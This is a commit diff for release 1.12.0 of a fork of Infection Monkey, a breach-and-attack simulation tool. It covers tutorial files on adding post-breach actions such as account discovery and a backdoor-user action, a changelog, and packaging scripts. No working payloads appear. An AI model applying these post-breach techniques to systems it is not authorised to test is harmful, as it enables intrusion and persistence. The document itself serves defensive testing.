forked from p15670423/monkey
Merge branch 'release/1.12.0'
This commit is contained in:
commit
67c87e044b
1
.flake8
1
.flake8
|
@ -5,6 +5,7 @@ exclude = monkey/monkey_island/cc/ui,vulture_allowlist.py
|
|||
show-source = True
|
||||
max-complexity = 10
|
||||
max-line-length = 100
|
||||
per-file-ignores = __init__.py:F401
|
||||
|
||||
### ignore "whitespace before ':'", "line break before binary operator" for
|
||||
### compatibility with black, and cyclomatic complexity (for now).
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
|
||||
path = monkey/monkey_island/cc/services/attack/attack_data
|
||||
url = https://github.com/guardicore/cti
|
||||
[submodule "docs/themes/learn"]
|
||||
path = docs/themes/learn
|
||||
url = https://github.com/guardicode/hugo-theme-learn.git
|
||||
|
|
|
@ -44,10 +44,6 @@ repos:
|
|||
files: "monkey/"
|
||||
exclude: "monkey/monkey_island/cc/ui"
|
||||
stages: [push]
|
||||
- repo: https://github.com/swimmio/pre-commit
|
||||
rev: v0.2
|
||||
hooks:
|
||||
- id: swimm-verify
|
||||
- repo: https://github.com/jendrikseipp/vulture
|
||||
rev: v2.3
|
||||
hooks:
|
||||
|
|
|
@ -15,9 +15,6 @@
|
|||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 56,
|
||||
"lines": [
|
||||
" \"Removes the file afterwards.\",",
|
||||
" \"attack_techniques\": [\"T1166\"],",
|
||||
|
@ -26,7 +23,7 @@
|
|||
"+ # Swimmer: ADD DETAILS HERE!",
|
||||
"* \"type\": \"string\",",
|
||||
"* \"enum\": [\"ScheduleJobs\"],",
|
||||
"* \"title\": \"Job scheduling\",",
|
||||
"* \"title\": \"Job Scheduling\",",
|
||||
"* \"safe\": True,",
|
||||
"* \"info\": \"Attempts to create a scheduled job on the system and remove it.\",",
|
||||
"* \"attack_techniques\": [\"T1168\", \"T1053\"],",
|
||||
|
@ -34,7 +31,10 @@
|
|||
" {",
|
||||
" \"type\": \"string\",",
|
||||
" \"enum\": [\"Timestomping\"],"
|
||||
]
|
||||
],
|
||||
"firstLineNumber": 52,
|
||||
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
|
||||
"comments": []
|
||||
},
|
||||
{
|
||||
"type": "text",
|
||||
|
@ -42,11 +42,11 @@
|
|||
}
|
||||
],
|
||||
"symbols": {},
|
||||
"file_version": "2.0.1",
|
||||
"file_version": "2.0.3",
|
||||
"meta": {
|
||||
"app_version": "0.4.1-1",
|
||||
"app_version": "0.5.7-0",
|
||||
"file_blobs": {
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c"
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "7d62ac36e875ca3c249d808250cb3268e4d3d68d"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -77,10 +77,9 @@
|
|||
" \"attack_techniques\": [\"T1082\"],",
|
||||
" },",
|
||||
"* {",
|
||||
"+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.",
|
||||
"* \"type\": \"string\",",
|
||||
"* \"enum\": [HOSTNAME_COLLECTOR],",
|
||||
"* \"title\": \"Hostname collector\",",
|
||||
"* \"title\": \"Hostname Collector\",",
|
||||
"* \"safe\": True,",
|
||||
"* \"info\": \"Collects machine's hostname.\",",
|
||||
"* \"attack_techniques\": [\"T1082\", \"T1016\"],",
|
||||
|
@ -110,7 +109,7 @@
|
|||
"type": "snippet",
|
||||
"path": "monkey/monkey_island/cc/services/config_schema/monkey.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 92,
|
||||
"firstLineNumber": 91,
|
||||
"lines": [
|
||||
" \"default\": [",
|
||||
" ENVIRONMENT_COLLECTOR,",
|
||||
|
@ -195,14 +194,14 @@
|
|||
}
|
||||
],
|
||||
"symbols": {},
|
||||
"file_version": "2.0.1",
|
||||
"file_version": "2.0.3",
|
||||
"meta": {
|
||||
"app_version": "0.4.4-0",
|
||||
"app_version": "0.5.7-0",
|
||||
"file_blobs": {
|
||||
"monkey/common/common_consts/system_info_collectors_names.py": "175a054e1408805a4cebbe27e2f9616db40988cf",
|
||||
"monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3",
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "9a4a39050eb088876df4fa629e14faf820e714a0",
|
||||
"monkey/monkey_island/cc/services/config_schema/monkey.py": "e745da5828c63e975625ac2e9b80ce9626324970",
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "072640352fc9d50fe09752cfc951dab7d99271af",
|
||||
"monkey/monkey_island/cc/services/config_schema/monkey.py": "da06123a95eebf7f0a68861815ee644bb37c8db6",
|
||||
"monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": "e2de4519cbd71bba70e81cf3ff61817437d95a21",
|
||||
"monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "7ce4b6fcfbce0d6cd8a60297213c5be1699b22df"
|
||||
}
|
||||
|
|
|
@ -0,0 +1,87 @@
|
|||
{
|
||||
"id": "afMu3y3ny5lnrYFWl3EI",
|
||||
"name": "Add a new Post Breach Action (PBA)",
|
||||
"task": {
|
||||
"dod": "You should add a new PBA to the Monkey which discovers all user accounts on the machine.",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.",
|
||||
"Make sure to add the PBA to the configuration as well.",
|
||||
"MITRE ATT&CK technique T1087 articulates that adversaries may attempt to get a listing of accounts on a system or within an environment which can help them determine which accounts can aid in follow-on behavior. Therefore, the AccountDiscovery PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
|
||||
]
|
||||
},
|
||||
"content": [
|
||||
{
|
||||
"type": "text",
|
||||
"text": "Read our [documentation](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/) about adding a new PBA.\n\nAfter that we want you to add the AccountDiscovery PBA. The commands that add users for Windows and Linux can be retrieved from \\`get\\_commands\\_to\\_discover\\_accounts\\` — make sure you see how to use this function correctly.\n\nNote that the PBA should impact the T1087 MITRE technique as well.\n\n**Manual test to confirm**\n--------------------------\n\n1. Run the Monkey Island.\n \n2. Make sure your new PBA is enabled by default in the config. For this test, disable network scanning, exploiting, and all other PBAs.\n \n3. Run the Monkey Agent.\n \n4. See the PBA in the security report and in the MITRE report under the relevant technique."
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"lines": [
|
||||
" POST_BREACH_JOB_SCHEDULING = \"Schedule jobs\"",
|
||||
" POST_BREACH_TIMESTOMPING = \"Modify files' timestamps\"",
|
||||
" POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = \"Signed script proxy execution\"",
|
||||
"*POST_BREACH_ACCOUNT_DISCOVERY = \"Account discovery\"",
|
||||
"+# SWIMMER: Put the new const here!",
|
||||
" POST_BREACH_CLEAR_CMD_HISTORY = \"Clear command history\""
|
||||
],
|
||||
"firstLineNumber": 7,
|
||||
"path": "monkey/common/common_consts/post_breach_consts.py",
|
||||
"comments": []
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"lines": [
|
||||
" ",
|
||||
" class AccountDiscovery(PBA):",
|
||||
" def __init__(self):",
|
||||
"* linux_cmds, windows_cmds = get_commands_to_discover_accounts()",
|
||||
"+ # SWIMMER: Implement here!",
|
||||
"* super().__init__(",
|
||||
"+ pass",
|
||||
"* POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds",
|
||||
"* )"
|
||||
],
|
||||
"firstLineNumber": 7,
|
||||
"path": "monkey/infection_monkey/post_breach/actions/discover_accounts.py",
|
||||
"comments": []
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"lines": [
|
||||
" \"with the help of a pre-existing signed script.\",",
|
||||
" \"attack_techniques\": [\"T1216\"],",
|
||||
" },",
|
||||
"* {",
|
||||
"+ # SWIMMER: Add details here!",
|
||||
"* \"type\": \"string\",",
|
||||
"* \"enum\": [\"AccountDiscovery\"],",
|
||||
"* \"title\": \"Account Discovery\",",
|
||||
"* \"safe\": True,",
|
||||
"* \"info\": \"Attempts to get a listing of user accounts on the system.\",",
|
||||
"* \"attack_techniques\": [\"T1087\"],",
|
||||
"* },",
|
||||
" {",
|
||||
" \"type\": \"string\",",
|
||||
" \"enum\": [\"ClearCommandHistory\"],"
|
||||
],
|
||||
"firstLineNumber": 80,
|
||||
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
|
||||
"comments": []
|
||||
},
|
||||
{
|
||||
"type": "text",
|
||||
"text": "Many PBAs use shell commands or scripts — see `Timestomping` and `AccountDiscovery`.\n\nOn the other hand, some are less straightforward. You can override functions and implement new classes depending on what is required, to implement complicated PBAs — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`. \n \n\nThis PBA, along with the others, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to gather details about all the user accounts that are present on a system or in an environment."
|
||||
}
|
||||
],
|
||||
"symbols": {},
|
||||
"file_version": "2.0.3",
|
||||
"meta": {
|
||||
"app_version": "0.5.7-0",
|
||||
"file_blobs": {
|
||||
"monkey/common/common_consts/post_breach_consts.py": "01d31448269e5581dbe0176c289f7dd36cc5854f",
|
||||
"monkey/infection_monkey/post_breach/actions/discover_accounts.py": "8fdebd0df97655e4cba3aebcdcf3c5ed1d1b6cbd",
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "88a3e8cb59fb0d1c07c9487bcb4eaab7b8087d84"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,122 +0,0 @@
|
|||
{
|
||||
"id": "tbxb2cGgUiJQ8Btma0fp",
|
||||
"name": "Add a simple Post Breach action",
|
||||
"task": {
|
||||
"dod": "You should add a new PBA to the Monkey which creates a new user on the machine.",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.",
|
||||
"Make sure to add the PBA to the configuration as well.",
|
||||
"MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
|
||||
]
|
||||
},
|
||||
"content": [
|
||||
{
|
||||
"type": "text",
|
||||
"text": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n"
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"path": "monkey/common/common_consts/post_breach_consts.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 1,
|
||||
"lines": [
|
||||
" POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"",
|
||||
"*POST_BREACH_BACKDOOR_USER = \"Backdoor user\"",
|
||||
"+# Swimmer: PUT THE NEW CONST HERE!",
|
||||
" POST_BREACH_FILE_EXECUTION = \"File execution\"",
|
||||
" POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"",
|
||||
" POST_BREACH_HIDDEN_FILES = \"Hide files and directories\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"path": "monkey/infection_monkey/post_breach/actions/add_user.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 1,
|
||||
"lines": [
|
||||
"*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER",
|
||||
"*from infection_monkey.config import WormConfiguration",
|
||||
"*from infection_monkey.post_breach.pba import PBA",
|
||||
"*from infection_monkey.utils.random_password_generator import get_random_password",
|
||||
"*from infection_monkey.utils.users import get_commands_to_add_user",
|
||||
"*",
|
||||
"*",
|
||||
"*class BackdoorUser(PBA):",
|
||||
"* def __init__(self):",
|
||||
"* random_password = get_random_password()",
|
||||
"*",
|
||||
"* linux_cmds, windows_cmds = get_commands_to_add_user(",
|
||||
"* WormConfiguration.user_to_add, random_password",
|
||||
"* )",
|
||||
"*",
|
||||
"* super(BackdoorUser, self).__init__(",
|
||||
"* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds",
|
||||
"* )"
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 1,
|
||||
"lines": [
|
||||
" from common.common_consts.post_breach_consts import (",
|
||||
"* POST_BREACH_BACKDOOR_USER,",
|
||||
" POST_BREACH_COMMUNICATE_AS_NEW_USER,",
|
||||
" )"
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 12,
|
||||
"lines": [
|
||||
" unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"",
|
||||
" scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"",
|
||||
" used_msg = \"Monkey created a new user on the network's systems.\"",
|
||||
"* pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]",
|
||||
"+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]"
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "snippet",
|
||||
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
|
||||
"comments": [],
|
||||
"firstLineNumber": 5,
|
||||
"lines": [
|
||||
" \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",",
|
||||
" \"type\": \"string\",",
|
||||
" \"anyOf\": [",
|
||||
"* {",
|
||||
"+ # Swimmer: Add new PBA here to config!",
|
||||
"* \"type\": \"string\",",
|
||||
"* \"enum\": [\"BackdoorUser\"],",
|
||||
"* \"title\": \"Back door user\",",
|
||||
"* \"safe\": True,",
|
||||
"* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",",
|
||||
"* \"attack_techniques\": [\"T1136\"],",
|
||||
"* },",
|
||||
" {",
|
||||
" \"type\": \"string\",",
|
||||
" \"enum\": [\"CommunicateAsNewUser\"],"
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "text",
|
||||
"text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... "
|
||||
}
|
||||
],
|
||||
"symbols": {},
|
||||
"file_version": "2.0.1",
|
||||
"meta": {
|
||||
"app_version": "0.4.4-0",
|
||||
"file_blobs": {
|
||||
"monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3",
|
||||
"monkey/infection_monkey/post_breach/actions/add_user.py": "26b048a492fcb6d319fc0c01d2f4a0bd302ecbc8",
|
||||
"monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee",
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -80,9 +80,10 @@ script:
|
|||
|
||||
# verify swimm
|
||||
- cd $TRAVIS_BUILD_DIR
|
||||
- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.0-0/swimm-cli.js --output swimm_cli
|
||||
- node swimm_cli --version
|
||||
- node swimm_cli verify
|
||||
- curl -L https://github.com/swimmio/SwimmReleases/releases/latest/download/packed-swimm-linux-cli --output swimm-cli
|
||||
- chmod u+x swimm-cli
|
||||
- ./swimm-cli --version
|
||||
- ./swimm-cli verify
|
||||
|
||||
after_success:
|
||||
# Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information
|
||||
|
|
72
CHANGELOG.md
72
CHANGELOG.md
|
@ -5,6 +5,72 @@ file.
|
|||
The format is based on [Keep a
|
||||
Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
## [1.12.0] - 2021-10-27
|
||||
### Added
|
||||
- A new exploiter that allows propagation via PowerShell Remoting. #1246
|
||||
- A warning regarding antivirus when agent binaries are missing. #1450
|
||||
- A deployment.json file to store the deployment type. #1205
|
||||
|
||||
### Changed
|
||||
- The name of the "Communicate as new user" post-breach action to "Communicate
|
||||
as backdoor user". #1410
|
||||
- Resetting login credentials also cleans the contents of the database. #1495
|
||||
- ATT&CK report messages (more accurate now). #1483
|
||||
- T1086 (PowerShell) now also reports if ps1 scripts were run by PBAs. #1513
|
||||
- ATT&CK report messages to include internal config options as reasons
|
||||
for unscanned attack techniques. #1518
|
||||
|
||||
### Removed
|
||||
- Internet access check on agent start. #1402
|
||||
- The "internal.monkey.internet_services" configuration option that enabled
|
||||
internet access checks. #1402
|
||||
- Disused traceroute binaries. #1397
|
||||
- "Back door user" post-breach action. #1410
|
||||
- Stale code in the Windows system info collector that collected installed
|
||||
packages and WMI info. #1389
|
||||
- Insecure access feature in the Monkey Island. #1418
|
||||
- The "deployment" field from the server_config.json. #1205
|
||||
- The "Execution through module load" ATT&CK technique,
|
||||
since it can no longer be exercise with current code. #1416
|
||||
- Browser window pop-up when Monkey Island starts on Windows. #1428
|
||||
|
||||
### Fixed
|
||||
- Misaligned buttons and input fields on exploiter and network configuration
|
||||
pages. #1353
|
||||
- Credentials shown in plain text on configuration screens. #1183
|
||||
- Crash when unexpected character encoding is used by ping command on German
|
||||
language systems. #1175
|
||||
- Malfunctioning timestomping PBA. #1405
|
||||
- Malfunctioning shell startup script PBA. #1419
|
||||
- Trap command produced no output. #1406
|
||||
- Overlapping Guardicore logo in the landing page. #1441
|
||||
- PBA table collapse in security report on data change. #1423
|
||||
- Unsigned Windows agent binaries in Linux packages are now signed. #1444
|
||||
- Some of the gathered credentials no longer appear in plaintext in the
|
||||
database. #1454
|
||||
- Encryptor breaking with UTF-8 characters. (Passwords in different languages
|
||||
can be submitted in the config successfully now.) #1490
|
||||
- Mimikatz collector no longer fails if Azure credential collector is disabled.
|
||||
#1512, #1493
|
||||
- Unhandled error when "modify shell startup files PBA" is unable to find
|
||||
regular users. #1507
|
||||
- ATT&CK report bug that showed different techniques' results under a technique
|
||||
if the PBA behind them was the same. #1514
|
||||
- ATT&CK report bug that said that the technique "`.bash_profile` and
|
||||
`.bashrc`" was not attempted when it actually was attempted but failed. #1511
|
||||
- Bug that periodically cleared the telemetry table's filter. #1392
|
||||
- Crashes, stack traces, and other malfunctions when data from older versions
|
||||
of Infection Monkey is present in the data directory. #1114
|
||||
- Broken update links. #1524
|
||||
|
||||
### Security
|
||||
- Generate a random password when creating a new user for CommunicateAsNewUser
|
||||
PBA. #1434
|
||||
- Credentials gathered from victim machines are no longer stored plaintext in
|
||||
the database. #1454
|
||||
- Encrypt the database key with user's credentials. #1463
|
||||
|
||||
|
||||
## [1.11.0] - 2021-08-13
|
||||
### Added
|
||||
- A runtime-configurable option to specify a data directory where runtime
|
||||
|
@ -22,7 +88,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- Select Logger configuration at runtime. #971
|
||||
- Select `mongo_key.bin` file location at runtime. #994
|
||||
- Store Monkey agents in the configurable data_dir when monkey is "run from the
|
||||
island". #997
|
||||
- island". #997
|
||||
- Reformat all code using black. #1070
|
||||
- Sort all imports using isort. #1081
|
||||
- Address all flake8 issues. #1071
|
||||
|
@ -35,8 +101,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
instead of $HOME. #1143
|
||||
- Put environment config options in `server_config.json` into a separate
|
||||
section named "environment". #1161
|
||||
- Automatically register if BlackBox tests are run on a fresh installation.
|
||||
#1180
|
||||
- Automatically register if BlackBox tests are run on a fresh
|
||||
installation. #1180
|
||||
- Limit the ports used for scanning in blackbox tests. #1368
|
||||
- Limit the propagation depth of most blackbox tests. #1400
|
||||
- Wait less time for monkeys to die when running BlackBox tests. #1400
|
||||
|
|
|
@ -25,5 +25,7 @@ do
|
|||
fi
|
||||
done
|
||||
|
||||
export PYTHONNOUSERSITE=1
|
||||
(PYTHONHOME="${APPDIR}/opt/python3.7" exec "${APPDIR}/opt/python3.7/bin/python3.7" "${APPDIR}/usr/src/monkey_island.py" $@)
|
||||
|
||||
exit "$?"
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#!/bin/bash
|
||||
|
||||
LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage"
|
||||
PYTHON_VERSION="3.7.11"
|
||||
PYTHON_VERSION="3.7.12"
|
||||
PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage"
|
||||
APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))"
|
||||
APPDIR="$APPIMAGE_DIR/squashfs-root"
|
||||
|
@ -27,6 +27,7 @@ install_package_specific_build_prereqs() {
|
|||
setup_build_dir() {
|
||||
local agent_binary_dir=$1
|
||||
local monkey_repo=$2
|
||||
local deployment_type=$3
|
||||
|
||||
pushd $APPIMAGE_DIR
|
||||
|
||||
|
@ -36,6 +37,7 @@ setup_build_dir() {
|
|||
|
||||
copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$BUILD_DIR"
|
||||
copy_server_config_to_build_dir
|
||||
modify_deployment "$deployment_type" "$BUILD_DIR"
|
||||
add_agent_binaries_to_build_dir "$agent_binary_dir" "$BUILD_DIR"
|
||||
|
||||
install_monkey_island_python_dependencies
|
||||
|
@ -102,12 +104,18 @@ remove_python_appdir_artifacts() {
|
|||
}
|
||||
|
||||
build_package() {
|
||||
local version=$1
|
||||
local dist_dir=$2
|
||||
local commit_id=$2
|
||||
local dist_dir=$3
|
||||
|
||||
log_message "Building AppImage"
|
||||
pushd "$APPIMAGE_DIR"
|
||||
|
||||
if [ -n "$1" ]; then
|
||||
local version="v$1"
|
||||
else
|
||||
local version="$commit_id"
|
||||
fi
|
||||
|
||||
pushd "$APPIMAGE_DIR"
|
||||
ARCH="x86_64" linuxdeploy \
|
||||
--appdir "$APPIMAGE_DIR/squashfs-root" \
|
||||
--icon-file "$ICON_PATH" \
|
||||
|
@ -116,17 +124,12 @@ build_package() {
|
|||
--deploy-deps-only="$MONGO_PATH/bin/mongod"\
|
||||
--output appimage
|
||||
|
||||
apply_version_to_appimage "$version"
|
||||
move_package_to_dist_dir $dist_dir
|
||||
dst_name="InfectionMonkey-$version.AppImage"
|
||||
move_package_to_dist_dir $dist_dir $dst_name
|
||||
|
||||
popd
|
||||
}
|
||||
|
||||
apply_version_to_appimage() {
|
||||
log_message "Renaming Infection_Monkey-x86_64.AppImage -> Infection_Monkey-$1-x86_64.AppImage"
|
||||
mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage"
|
||||
}
|
||||
|
||||
move_package_to_dist_dir() {
|
||||
mv Infection_Monkey*.AppImage "$1/"
|
||||
mv Infection*Monkey*.AppImage "$1/$2"
|
||||
}
|
||||
|
|
|
@ -8,5 +8,5 @@ APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))"
|
|||
rm -rf "$HOME/git/monkey"
|
||||
rm -rf "$HOME/.monkey_island"
|
||||
rm -rf "$APPIMAGE_DIR/squashfs-root"
|
||||
rm "$APPIMAGE_DIR"/Infection_Monkey*x86_64.AppImage
|
||||
rm "$APPIMAGE_DIR/../dist/Infection_Monkey*x86_64.AppImage"
|
||||
rm "$APPIMAGE_DIR"/Infection_Monkey*.AppImage
|
||||
rm "$APPIMAGE_DIR/../dist/InfectionMonkey*.AppImage"
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
[Desktop Entry]
|
||||
Type=Application
|
||||
Name=Infection Monkey
|
||||
Name=InfectionMonkey
|
||||
Exec=bash
|
||||
Comment=An automated breach and attack simulation platform
|
||||
Icon=monkey-icon
|
||||
|
|
|
@ -2,8 +2,7 @@
|
|||
"data_dir": "~/.monkey_island",
|
||||
"log_level": "DEBUG",
|
||||
"environment": {
|
||||
"server_config": "password",
|
||||
"deployment": "standard"
|
||||
"server_config": "password"
|
||||
},
|
||||
"mongodb": {
|
||||
"start_mongodb": true
|
||||
|
|
|
@ -20,6 +20,7 @@ exit_if_missing_argument() {
|
|||
echo_help() {
|
||||
echo "usage: build_package.sh [--help] [--agent-binary-dir <PATH>] [--branch <BRANCH>]"
|
||||
echo " [--monkey-repo <PATH>] [--version <MONKEY_VERSION>]"
|
||||
echo " [--deployment <DEPLOYMENT_TYPE>]"
|
||||
echo ""
|
||||
echo "Creates a package for Infection Monkey."
|
||||
echo ""
|
||||
|
@ -43,7 +44,9 @@ echo_help() {
|
|||
echo " (Default: $DEFAULT_REPO_MONKEY_HOME)"
|
||||
echo ""
|
||||
echo "--version A version number for the package."
|
||||
echo " (Default: dev)"
|
||||
echo ""
|
||||
echo "--deployment A deployment type for the package."
|
||||
echo " (Default: develop)"
|
||||
echo ""
|
||||
echo "--package Which package to build (\"appimage\" or \"docker.\")"
|
||||
|
||||
|
@ -72,15 +75,6 @@ install_nodejs() {
|
|||
sudo apt-get install -y nodejs
|
||||
}
|
||||
|
||||
install_common_build_prereqs() {
|
||||
sudo apt-get update
|
||||
sudo apt-get upgrade -y
|
||||
|
||||
# monkey island prereqs
|
||||
sudo apt-get install -y curl libcurl4 openssl git build-essential moreutils
|
||||
install_nodejs
|
||||
}
|
||||
|
||||
is_valid_git_repo() {
|
||||
pushd "$1" 2>/dev/null || return 1
|
||||
git status >/dev/null 2>&1
|
||||
|
@ -115,9 +109,9 @@ agent_binary_dir=""
|
|||
as_root=false
|
||||
branch="develop"
|
||||
monkey_repo="$DEFAULT_REPO_MONKEY_HOME"
|
||||
monkey_version="dev"
|
||||
monkey_version=""
|
||||
package=""
|
||||
|
||||
deployment_type=""
|
||||
|
||||
while (( "$#" )); do
|
||||
case "$1" in
|
||||
|
@ -152,6 +146,12 @@ while (( "$#" )); do
|
|||
monkey_version=$2
|
||||
shift 2
|
||||
;;
|
||||
--deployment)
|
||||
exit_if_missing_argument "$1" "$2"
|
||||
|
||||
deployment_type=$2
|
||||
shift 2
|
||||
;;
|
||||
--package)
|
||||
exit_if_missing_argument "$1" "$2"
|
||||
|
||||
|
@ -197,8 +197,9 @@ install_build_prereqs
|
|||
install_package_specific_build_prereqs "$WORKSPACE"
|
||||
|
||||
|
||||
setup_build_dir "$agent_binary_dir" "$monkey_repo"
|
||||
build_package "$monkey_version" "$DIST_DIR"
|
||||
setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type"
|
||||
commit_id=$(get_commit_id "$monkey_repo")
|
||||
build_package "$monkey_version" "$commit_id" "$DIST_DIR"
|
||||
|
||||
log_message "Finished building package: $package"
|
||||
exit 0
|
||||
|
|
|
@ -15,6 +15,13 @@ copy_monkey_island_to_build_dir() {
|
|||
"$src"/monkey_island "$build_dir/"
|
||||
}
|
||||
|
||||
modify_deployment() {
|
||||
if [ -n "$1" ]; then
|
||||
local deployment_file_path="$2/monkey_island/cc/deployment.json"
|
||||
echo -e "{\n \"deployment\": \"$1\"\n}" > $deployment_file_path
|
||||
fi
|
||||
}
|
||||
|
||||
add_agent_binaries_to_build_dir() {
|
||||
local agent_binary_dir=$1
|
||||
local island_binaries_path="$2/monkey_island/cc/binaries/"
|
||||
|
@ -86,3 +93,8 @@ remove_node_modules() {
|
|||
rm -rf "$1/node_modules"
|
||||
rm -rf "$1/.npm"
|
||||
}
|
||||
|
||||
get_commit_id() {
|
||||
local monkey_repo=$1
|
||||
echo $(git -C "$monkey_repo" rev-parse --short HEAD)
|
||||
}
|
||||
|
|
|
@ -1,21 +1,4 @@
|
|||
# Infection Monkey
|
||||
|
||||
How to run Monkey Island from the docker file:
|
||||
|
||||
Note: Ports 5000 and 5001 must be available for the island to work.
|
||||
|
||||
## Setup
|
||||
|
||||
Run the following commands:
|
||||
|
||||
```sh
|
||||
sudo docker load -i dk.monkeyisland.MONKEY_VER_PLACEHOLDER.tar
|
||||
sudo docker pull mongo:4.2
|
||||
sudo mkdir -p /var/monkey-mongo/data/db
|
||||
sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2
|
||||
sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:MONKEY_VER_PLACEHOLDER
|
||||
```
|
||||
|
||||
## Start Infecting
|
||||
|
||||
Open `https://<Server IP>:5000` using Google Chrome and follow the instructions. You can also visit [the Infection Monkey website](https://infectionmonkey.com) and read the in-depth Getting Started guides.
|
||||
For instructions on setting up the Infection Monkey Docker container, see
|
||||
[https://www.guardicore.com/infectionmonkey/docs/setup/docker/](https://www.guardicore.com/infectionmonkey/docs/setup/docker/).
|
||||
|
|
|
@ -18,6 +18,7 @@ COPY --from=builder /monkey /monkey
|
|||
WORKDIR /monkey
|
||||
EXPOSE 5000
|
